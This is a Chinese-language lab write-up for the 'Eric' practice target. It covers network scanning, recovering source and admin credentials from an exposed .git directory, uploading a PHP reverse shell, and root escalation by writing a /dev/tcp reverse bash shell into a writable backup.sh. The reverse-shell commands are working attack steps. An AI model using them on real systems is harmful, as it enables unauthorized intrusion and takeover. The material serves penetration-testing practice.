当前位置:网站首页>Eric靶机渗透测试通关全教程
Eric靶机渗透测试通关全教程
2022-08-02 03:25:00 【BIG_权】
环境准备
联不联网无所谓,主要是要在同一网段下
靶机:
Eric
攻击机:
Kali (192.168.56.102)
渗透目标
拿到普通用户下的
flag
拿到
root
用户下的flag
渗透测试实战
已知靶机和我们的Kali
虚拟机同同一网段,现在先用nmap
扫描一下此网段,得到Eric
的IP
地址nmap -sF 192.168.56.0/24
这里可以看到到Eric
靶机的IP
是192.168.56.101
而且发现它的80端口是开着的,(22端口是ssh不用管),直接浏览器中访问一下
很明显,Blog
还没有开发完成
这个时候需要得到网站的目录,枚举一下dirb http://192.168.56.101
可以发现如上三个敏感目录是我们感兴趣的
访问admin.php
会有登陆界面,但是并没有爆破出来。。。。。
访问upload
无权限
这时候需要注意的是有.git
敏感目录,这里以这个作为突破点,用如下大佬们的工具,通过泄露的.git
文件夹下的文件,重建还原工程源代码
GitTools
:https://github.com/internetwache/GitTools
GitHack
:https://github.com/lijiejie/GitHack
在这里使用的是GitHack
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
运行py
文件重建还原网址代码即可
python GitHack.py http://192.168.56.101/.git/
直接看一下这些php
文件中内容是什么
然后在其中可以发现admin.php
中有账号和密码
试试直接用这里的账号和密码直接登录http:192.168.56.101/admin.php
可以发现是成功登录了
可以发现它登录后是一个上传文件的网站,这样的很明显可以来上传shell
可以自己构造一个shell
,也可以用kali
自带的
这里使用kali
自带的
cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop/test.php
需要修改一下ip/port
(为kali
本机地址)
vim test.php
保存后,kali
再起一个监听,这里的1234
为上面test.php
设置的port
nc -nlvp 1234
然后直接把修改后的shell
在登录后的界面上传上去test.php
Browse...
选择shell
,Upload
点击上传
上传的文件路径为会在当前靶机网址的/upload/
目录下
在浏览器中直接访问该shell
即可,
http://192.168.56.101/upload/test.php
这样就可以发现反弹shell成功了
接下来在nc
窗口用命令直接去/home/eric/
目录下,用ls -la
看一下文件和文件权限
可以发现其中有flag.txt
,这就是我们的目标
同时发现backup.sh
配置权限有问题,很明显它可以写入脚本用来提权,待会提权root
就用它了
这里先拿到普通用户下的flag
就行
cd /home/eric
ls -la
cat flag.txt
这里就拿到了普通用户权限下的flag
了,还差root
用户下的
先看一下backup.sh
文件是什么内容
可以发现它就是压缩打包网站的目录,这种的直接修改sh
文件就行
在kali
中用msf
工具打印一个shell
脚本来用用(lhost
为kali
的IP
,lport
随便即可)
msfvenom -p cmd/unix/reverse_bash lhost=192.168.56.102 lport=1235 A
把这一段脚本echo
到backup.sh
echo "bash -c '0<&78-;exec 78<>/dev/tcp/192.168.56.102/1235;sh <&78 >&78 2>&78'">backup.sh
然后kali
本机起一个监听nc -nlvp 1235
(1235为上面msf
设置的lport
)
然后直接运行sh
文件./backup.sh
,这样就提权成功了
直接cat flag.txt
看一下root
下的flag
就行
这里就拿到了ROOT
用户权限下的flag
了
完结,撒花***
边栏推荐
- 二维码生成API接口,可以直接作为A标签连接
- PHP有哪些杀手级超厉害框架或库或应用?
- 1.8今日学习
- 6.27面试集
- Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
- 每日五道面试题总结 22/7/19
- SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration
- 16.JS事件, 字符串和运算符
- QR code generation API interface, which can be directly connected as an A tag
- 逍遥多开模拟器ADB驱动连接
猜你喜欢
随机推荐
hackmyvm-hopper walkthrough
npm --package.json---require
[symfony/mailer] An elegant and easy-to-use mail library
阿里云设置域名解析重定向后,无法使用Chrome访问
PHP 发起支付宝支付时 订单信息乱码解决
6.24今日学习
(8) requests、os、sys、re、_thread
DVWA drone installation tutorial
一分种一起来了解Vite的基础
--fs module--
When PHP initiates Alipay payment, the order information is garbled and solved
解决uni-app 打包H5网站 下载图片问题
1.11今日学习
Using PHPMailer send mail
js __proto__、prototype、constructor的关系
Phpstudy安装Thinkphp6(问题+解决)
14. JS Statements and Comments, Variables and Data Types
你的本地创建的项目库还在手动创建远端代码仓库再推送吗,该用它了
vim编辑模式
[league/climate]一个功能健全的命令行功能操作库